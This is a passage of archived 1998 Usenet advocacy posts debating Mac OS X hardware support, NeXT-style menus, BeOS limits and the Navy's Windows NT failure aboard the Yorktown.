>Server.
NT has backwards compatibility problems with poorly written programs and
programs that require direct access to hardware (generally the latter is the
reason for the former) - are you trying to claim MacOS X won't have similar
problems ? If so then it sort of invalidates your claim below.
>
>Besides, Mac OS X Server (and later Mac OS X) is a far
>more better product than NT. :-)
>
>Cheers,
>Malte
>--
>Malte Tancred
>OOPS art, HB
>malte@oops.se, http://www.oops.se/~malte
From: "Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Wed, 22 Jul 1998 07:38:58 -0500
Organization: EarthLink Network, Inc.
Message-ID: <6p4mj5$je1$1@fir.prod.itd.earthlink.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net> <35b414c4.0@news.depaul.edu> <6p175g$du5$1@ash.prod.itd.earthlink.net> <gdwarnernyet-2207980355100001@mg-20664219-152.ricochet.net>
Glen Warner wrote in message ...
>In article <6p175g$du5$1@ash.prod.itd.earthlink.net>, "Pinochet"
><dont!graywant!home!@spam!sprinthere!mail.com> wrote:
>> > *IBM* couldn't even introduce a new OS successfully, and theirs >>>ran
Windows apps on Intel PC's.
>> I wouldn't say that, as it was really a case of IBM *not* wanting to
>> do so....They didn't put the effort into it..
>If I recall correctly, wasn't IBM and Microsoft involved in OS/2?
Orginally yes. Eventually the two went in different directions.
>Microsoft decided to take its marbles and go home and didn't support >OS/2
(i.e., it could only run *some* Windows applications because >Microsoft
wouldn't give IBM some necessary data on Windows APIs).
Do you have any substantiation of this allegation? I would actually
say OS/2 ran Windows Apps TOO WELL, which lead to most software
being written for Windows as people decided to cover both bases
and that was what really killed OS/2.
From: aman@aman.com (A-Man)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 23:05:53 -0800
Organization: ICGNetcom
Message-ID: <aman-2107982305530001@scz-ca17-19.ix.netcom.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net>
Just to throw another idea into this thread:
There's a meme here that the Mac UI can begin to shed the remnants of
previous small screen limitations. There are suggestions that various
NeXT UI concepts can be used since more Mac users have larger screens
these days. Well, that may not be true of a certain consumer portable
computer to be released next year.
It may soon be more important than ever that the Mac UI functions well and
looks good on a 9" display...
--
A-Man: Macintosh user since 1986
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
Date: 22 Jul 1998 13:52:15 GMT
Organization: Primenet (602)416-7000
Message-ID: <6p4qqf$jvu$1@nnrp02.primenet.com>
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4f85$h15$1@news.tuwien.ac.at>
Alexander Wilkie <wilkie@cg.tuwien.ac.at> wrote:
: If I recall correctly, Negroponte has always had this air of an extremely
: skilled semi-scientific buzzword merchant about him. People like that don't
: have to bother with facts. Of course, these are the people whose "opinions"
: the press and "the market" care about...
Really! What does Negroponte do, other than run a computer lab at some
hick school ... well, it's a research lab ... at MIT ... but other than
that, you are correct about him being semi-scientific. What would a
researcher at MIT know about computers!
John
Date: Tue, 21 Jul 1998 23:14:56 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <stevehix-2107982314560001@ip57.safemail.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <slrn6ra0lj.7jn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Organization: Close to None
In article <slrn6ra0lj.7jn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> On Tue, 21 Jul 1998 18:10:04 +0200, Magnus Thoor <qwerty.x@algonet.se> wrote:
> :I would hardly call it paranoia. Look at Apple's track record so far:
> :
> :Pink
> :Taligent
Weren't they both collaborative efforts with IBM, etc?
(Or was that Taligent and Kaleida?)
> :Copland
> :Gershwin
The latter never got going, as it depended on Copland for
its foundation. We all know about Copland and how totally
mismanaged the project was. And where most, if not all, of
the people responsible for the debacle currently are not...
> :Rhapsody
Is still in development, has shipped DRs as spec'd, and will
make customer ship (with a new name) in a few more months.
> :If that doesn't make you worried about OS X you must have nerves of
> :steel.
>
> Counterpoint: look at Tevanian's track record so far:
>
> Mach
> NeXTSTEP
> EOF
> OPENSTEP
> WebObjects
> MacOS 8
> Rhapsody DR1/2
>
> ????
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com>
Subject: Re: Mac OS X UI
Message-ID: <vpft1.1542$E5.7524002@proxye1.san.rr.com>
Date: Wed, 22 Jul 1998 06:12:43 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 23:12:43 PDT
Organization: TWC Road Runner, San Diego, CA
John Rudd wrote in message <6p2t9m$t36$2@cronkite.cygnus.com>...
>In <andyba-ya02408000R2107981148110001@news> Andy Bates wrote:
>> In article <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu>,
>> Pulsar <tokarek@uiuc.edu> wrote:
>> > No non-submenu invoking choices can (well should) be in the bar (root
>> > menu) even though this would be good for organizational purposes.
>>
>> Ech, no. This is not a good UI idea. If it needs to be accessed quickly,
>> make a button in the UI, or a command key shortcut.
>
>Ok, then where does "Print" belong? it's not a "File" operation.. it's not
>an "Edit" operation.. etc. Same with "Quit". Currently, the Mac puts them
>under "File" as a default, not because they belong there. I'd rather see
>something sensical.
File is misnamed (I've always thought it ought to reflect the currently
active container...Document for documents, Folder when a folder is the
current window) and was actually shortened from the Lisa's
"File/Print"--yes, that was the menu title. If it were Document instead,
Print would make sense. Quit wouldn't be needed in a truly
task/document-centric UI. IIRC, OpenDoc didn't have a Quit menu option.
>NeXT did it right by having the root-menu allow direct actions (like
"Print",
>"Hide", and "Quit"). Perhaps putting the "Quit" in the application/finder
>menu at the upper-right corner (where "Hide" currently lives) would work.
>But that still leaves Print.
The NeXT way doesn't work well for a horizontal menu bar where there's no
affordance indicator that it's simply a button which doesn't spawn a
sub-menu.
>If you're going to have heirarchical menus, then you need to recognize that
>some operations aren't going to fit into your hierarchies/catagories, and
you
>must have a root level hierarchy that accepts these operations. Otherwise,
>your UI design is inconsistant.
--Ed.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Date: 22 Jul 1998 06:17:49 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6p406d$bc7$1@supernews.com>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com>
<6p2pia$rp2$1@nnrp1.snfc21.pbi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: SRFPCI1@pacbell.net
"Mark Micklich" may or may not have said:
-> The problem is not NT -- it's poor engineering design.
And NT was selected by whom, exactly?
NT: Recommended by people who put buggy software in control of lethal
weapons.
-jcr
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
From: "Edmond" <edmondh@ioc.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X GUI---3 clicks to any window?
References: <6oqr65$ept$1@supernews.com>
<edremy-ya02408000R1807982049360001@nnrp.usc.edu>
<6otr2r$okr$1@supernews.com>
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <Bjmt1.656$wW1.8475661@news.intelenet.net>
Date: Wed, 22 Jul 1998 14:04:17 GMT
NNTP-Posting-Date: Wed, 22 Jul 1998 07:04:17 PDT
Organization: InteleNet Communications -- http://www.intelenet.net/
>>
>> As a side note, I can do it in one with the Mac Finder and ApplWindows.
>> Select app from pop-up menu, select window from submenu. Done. (And in
my
>> opinion, the way it should be done.)
>
>This is very good to know. I am glad that "access from the periphery"
still
>works for windows with Mac OS X.
>
Not so fast. If this control panel is from 1993 it's not PPC native, thus
will slow down any PPC machine. Second, I doubt MacOS X will support
system-wide support of "old" MacOS control panels. Third, the MacOS does
not support windows in general through the popup window, only folders, and
only in the Finder. It also does not float above other windows or support
any special form of organization. Apple really screwed up eliminating the
dock, and have publicly reported that because of the elimination of DPS in
MacOS X instant Postscript preview images in docks won't be possible in the
same way. If Apple does reintegrate docks into MacOS X, I don't see how
they'll coexist with popup folder windows that MacOS uses.
Edmond Hirota
edmondh@ioc.net
Date: Wed, 22 Jul 1998 08:49:56 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2207980849560001@wil103.dol.net>
References: <slrn6ra3vt.7p8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1DA7D74-587C6@206.165.43.17>
In article <B1DA7D74-587C6@206.165.43.17>, "Lawson English"
<english@primenet.com> wrote:
> Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> said:
>
> >
> >A significant change to the kernel, especially involving deep
> architectural
> >changes due to new sorts of SMP is a tougher, global, issue. And it's one
> >which is directly on the critical path to the new product.
> >
> >:This is a marketing issue, far, FAR more than it is an
> >:engineering/cost-containment issue.
>
> Are you suggesting that it is harder to test MacOS X for Pre-G3 Macs than
> it is to test MacOS 8.x for the 68040, NuBux, Pre-G3 and G3 Macs?
>
> I don't think so...
1. It just might be. Mac OSX differs from Rhapsody by the addition of a
new kernel, entirely new driver architecture, and a completely new set of
APIs. Mac OS 8.x uses the same kernel, driver architecture, and kernel of
Mac OS 8.x-1. The former is a much bigger testing job.
2. It also depends on potential sales volume. Millions of people upgraded
ot Mac OS 8. I don't know how many PCI Mac owners would pay for the
upgrade to Mac OS X if it's $200 or so. Remember the number of PCI PPC
Macs plus Nubus PPC Macs plus 040 Macs is _much_ larger than the number of
PCI PPC Macs.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 22 Jul 1998 08:43:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Message-ID: <joe.ragosta-2207980843230001@wil103.dol.net>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net> <1dcj03r.j9ies11bazb62N@p043.intchg1.net.ubc.ca>
In article <1dcj03r.j9ies11bazb62N@p043.intchg1.net.ubc.ca>,
bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
> Mark Micklich <SRFPCI1@pacbell.net> wrote, among other things:
>
> > The problem is not NT -- it's poor engineering design. I'm not defending
> > NT, but if MacOS was used, the exact same situation could have happened and
> > JoeR would immediately jump in with the same defense I just described. If
> > you don't have complete exception-handling, crashes will happen. There are
> > many stories of this nature, and many of them have nothing to do with NT.
>
> The idea of mission-critical USN stuff running on, say, Mac OS 8.1 is
> amusing, to put it mildly! There are obvious reasons why that would, um,
> not be done.
Exactly. And I wouldn't recommend it. If anyone used Mac OS to run a
battleship, I'd call them morons, too. Mac OS was never designed for
mission critical applications. It was never promoted that way, either.
Unlike WinNT which has been promoted all over the place for this type of
application.
>
> But not only Mac-heads are pointing the finger at NT in this instance.
> Later in the article cited, we read
>
> Ron Redman, deputy technical director of the Fleet
> Introduction Division of the Aegis Program Executive Office,
> said there have been numerous software failures associated
> with NT aboard the Yorktown.
>
> [...]
>
> "Because of politics, some things are being forced on us
> that without political pressure we might not do, like
> Windows NT," Redman said. "If it were up to me I probably
> would not have used Windows NT in this particular
> application. If we used Unix, we would have a system that
> has less of a tendency to go down."
>
> Who knows? The fellow may just have a point. ;^)
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 22 Jul 1998 08:46:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Message-ID: <joe.ragosta-2207980846080001@wil103.dol.net>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net> <charles.bouldin-2107982129550001@chuckb.mnsinc.com>
In article <charles.bouldin-2107982129550001@chuckb.mnsinc.com>,
charles.bouldin@nist.gov (Charles Bouldin) wrote:
> In article <6p2pia$rp2$1@nnrp1.snfc21.pbi.net>, "Mark Micklich"
> <SRFPCI1@pacbell.net> wrote:
> >Before all MacUsers point the finger at NT, this situation is due to bad
> >programming (like the Y2K issue). It could have happened with any OS,
> >including MacOS. The "database" used in this context was a "master
> >controller" used by Navy personnel to manage ship operations at a
> >high-level. If you don't take care of exception-handling, this is the stuff
> >that happens folks, I don't care what OS you use.
> >
> >The problem is not NT -- it's poor engineering design. I'm not defending
> >NT, but if MacOS was used, the exact same situation could have happened and
> >JoeR would immediately jump in with the same defense I just described. If
> >you don't have complete exception-handling, crashes will happen. There are
> >many stories of this nature, and many of them have nothing to do with NT.
>
> Yes, but the full story, as written up in one of the federal computer
> magazines includes quotes from Navy brass saying that they were "forced to
> use NT because of political pressure"! I was *stunned* to see these
> quotations, with full attribution, in PRINT! This is *very* unusual,
> especially from DOD. Things like this are usually just buried and quietly
> forgotten or quietly fixed. The direct quotations from several Navy
> spokesmen about how they don't like NT and find it to have serious
> flaws....this is amazing! The other thing they report is that they would
> much rather use Unix than NT!
Then this _really_ needs to be picked up by 60 Minutes and the other news
magazines. Endangering battleships because of political presssure goes too
far.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 22 Jul 1998 08:25:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Message-ID: <joe.ragosta-2207980825230001@wil103.dol.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p022p$8s1$1@news.spacelab.net> <6p1hll$f44$1@news10.ispnews.com> <6p4f9i$fpq$2@ironhorse.plsys.co.uk>
In article <6p4f9i$fpq$2@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> "Charles W. Swiger" <chuck@codefab.com> :
> > Corey <corey@virtual-impact.com> wrote:
> > >And if you really want to get down to it, it's probably pretty reasonable
> > >to limit the amount of open windows down to a *mere* 200 - I mean, any
> > >program that produces more than just a couple handfulls should be shot
> > >and killed on the spot.
> >
> What about any *user*? A couple of months ago I had a genuine reason for
> opening about 150 windows in a single application. It made the task I was
> undertaking a *lot* easier.
This isn't a criticism of any sort--just honest curiosity:
What would require 150 windows to be open in a single application? And how
would you keep track of 150 windows?
>
> > I don't like software that comes with arbitrary limitations. It tends to
> > be indicative of sloppy design and lazy (in the negative sense)
> > programmers. Still, you are right that this limitation of the BeOS is very
> > unlikely to affect reasonable situations.
> >
> From what I remember if this debate last time round (was it a year ago), the
> problem with BeOS was that once more than 100 or so windows were opened the
> system slowed to a crawl. Performance on the system I was using in the
> situation above was not significantly affected. Has this fault now been
> remedied with BeOS?
>
> mmalc.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 22 Jul 1998 08:20:06 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2207980820060001@wil103.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com>
In article <6p39n6$654$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> don.brown@cesoft.com (Donald Brown) wrote:
> > In article <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se>,
> > qwerty.x@algonet.se says...
> > > Nice try. The difference is that your example shows that it's possible
> > > to intentionally do damage to any system (what else is new?). While my
> > > example shows that 8.1 is very venerable to bugs in applications,
> > > letting them freely wreak havoc with the entire system. That's simply
> > > not acceptable by today's standards.
> > >
> > Given that the OSes in greatest use are Win 3.1, Win95, and MacOS, all of
> > which have that weakness, there are a lot of people who find it
> > acceptable.
> >
> > Would it be better if that weakness wasn't there? Absolutely. But that
> > doesn't make the OS unacceptable.
>
>
> Billions and billions of people across the globe have their human rights
> consistently and severly violated. The fact that it continues to occur does
> not mean it's acceptable. The same for all the lameness in the macOS, et al.
Hmmm. And people say _I_ take computers too seriously.
The weaknesses in Mac OS are hardly equivalent to consistent and severe
violations of human rights.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 22 Jul 1998 08:27:14 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Message-ID: <joe.ragosta-2207980827140001@wil103.dol.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <Pine.LNX.3.95.980720174226.8608V-100000@rainier.virtual-impact.com> <joe.ragosta-2107980827300001@0.0.0.0> <6p2o5v$pr9$2@news5.ispnews.com>
In article <6p2o5v$pr9$2@news5.ispnews.com>, Earl Malmrose
<malmrose@nospam.jetcity.com> wrote:
> joe.ragosta@dol.net (Joe Ragosta) :
> > I wouldn't be surprised if Be is in a hurry to get a final, working OS out
> > the door. A lot of issues are going to get pushed aside until the major
> > issues are resolved and the OS is ready for everyday consumer use.
>
> What major issues?
Well, I haven't shelled out the money for the current release, but someone
posted recently that BeOS will only print over Ethernet in its current
form. That seems like a significant issue.
But the point is that Be needs to get an OS out in final, polished form
that is ready for consumers before worrying too much about a zillion
feature enhancements.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 22 Jul 1998 08:18:05 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2207980818060001@wil103.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <not-2107981133460001@ip-26-140.phx.primenet.com> <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se>
In article <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Michael M. Eilers <not@a.valid.email.add> wrote:
>
> > In article <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se>,
> > qwerty.x@algonet.se (Magnus Thoor) wrote:
> >
> > > No, but Apple promised that my machine would run their next generation
> > > OS. Now it won't.
> >
> > I'm really curious about this "promise" folks seems to be citing again and
> > again. I've been a Mac user for 9 years and I never got such a promise
>
> Amelio and company said shortly after NeXT was purchased that all Macs
> shipping on and after 97-01-01 would run Apple's "next generation OS" (I
> could probably dig up a quote from Apple's web-pages but I'm typing this
> off-line). They did promise it alright.
And Rhapsody _will_ run on most of those systems.
>
> > with my hardware when I bought it. I bought a 7500 just before Rhapsody
> > was announced, and by every indication Mac OS X will probably run on it.
>
> Unfortunately it looks like every indication points in the direction
> that OS X won't run on your 7500. Ken Bereskin said that they are not
> attempting to make OS X run on pre G3 and that it would be pure luck if
> any first generation PCI Mac would happen to run OS X. Check out
> macintouch for the quote.
But Mac OS X is _not_ the next generation OS. Rhapsody is.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 22 Jul 1998 09:02:12 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2207980902130001@wil103.dol.net>
References: <35b3f756.0@news.depaul.edu> <B1DA8186-67C8F@206.165.43.17>
In article <B1DA8186-67C8F@206.165.43.17>, "Lawson English"
<english@primenet.com> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
> >
> >And, those OS/X fixes would have to be tested, and fixed, and
> >maintained, and re-fixed, and debugged, and regression-tested, etc,
> >as the OS continues to develop, which is an enormous amount of work
> >when multiplied by all the different models.
>
>
>
> Er, how many models are we talking about here?
>
> There was only one or two licensed motherboard-designs for ALL PCI Macs and
> clones. ALL Macs and clones used those designs. They were tested by Apple
> and officially approved by Apple.
I know of at least 3--Tsunami, Alchemy, and Nitro. In addition, the clone
vendors modified the boards in many cases, sometimes running them at
higher clock speeds, using different graphics chips, different cache
design, and so on.
Furthermore, the clone vendors used different peripherals. For example,
PPC had problems with some of their CD drives not being recognized by the
OS because they chose a different drive.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: mcox@ihug.co.nz (Martin Cox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 18:24:14 +1200
Organization: As little as possible.
Message-ID: <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <MPG.101f2d847d70bf3c9899dc@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
>> Betcha that even if 1 million of us said that we were willing to pay $50
>> more, that Apple would still say "no" to a pre-G3 version of MacOS X
>> because it's not about expenses, but about control.
>
>Will you add a statement that you are willing to wait one year after the
>G3 version is released?
Just to toss in my $0.01 here...
A year - no. A few months (3? 4?) Yes.
I for one would personally be _more_ than happy to spend an extra $50 and
wait a _few_ months for a version of MacOS X that will run on my (G3
equipped) 7500.
I bought this 7500 on the basis that it was the most expandable machine
that was within my price range. I could, remarkably given the hardware I'd
transferred from, keep the thing for _ages_ and simply plug in a few bits
here and there to keep it more or less up to date.
OK, so my G3 running at 310Mhz is hampered a little by the slower
bus-speed. But in most other important respects, my "obsolete" 7500 is
_superior_ to the shipping G3 desktops. And will be so much more than
simply "adequate" to run OS X on when it ships. Or would be if it could.
So yes, I want to run OS X on it when the OS ships. Yes, I'll pay extra for
it so long as it's not gouging me so much a new machine would be a better
bet. And yes, I'll wait a couple of months to give Apple the time to sort
that out.
If the release date is so important to adhere to, then by all means Apple
should ensure the OS works flawlessly on currently shipping models. But I'd
suggest that having a team working on bringing the OS to other PCI
PowerMacs _subsequent_ to that "main release" would
(a) bring in more money for Apple,
(b) reduce (or stop) the user-base erosion that _will_ happen if OS X ships
for only G3-shipped systems,
(c) give existing Mac developers a _much_ larger base for OS X based apps,
(d) boost user confidence in Apple.
Apple exists today because of the loyalty of its users. If we were Wintel
users and Apple was any other clone maker, it'd be long dead. Sure, it
_owes_ us nothing, but it would be a _Good Thing(tm)_ from a marketing
point of view to support other PCI Macs. A cautious "we're looking into it"
from Apple would do wonders for current user confidence, otherwise that
loyalty is going to be heavily eroded, and with it Apple.
Otherwise there _will_ be a lot of people jumping straight to Wintel after
OS X. And there will be a lot of others (myself included) who will be
_very_ carefully evaluating their options.
--
Martin Cox <mcox@ihug.co.nz>
The (Incomplete) VirtualPC User's Guide <http://shell.ihug.co.nz/~mcox/vpc/>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 22 Jul 1998 14:14:51 GMT
Organization: none
Message-ID: <6p4s4r$rhi$1@server.signat.org>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu>
<6p3ffd$3fb$1@server.signat.org> <6p3s46$2v3@lace.colorado.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: datamagik@usa.net
In <6p3s46$2v3@lace.colorado.edu> Jay Riley wrote:
> I basically agree with Maury on the points he makes so I'm leaving the
quoted
> stuff alone, but want to add:
>
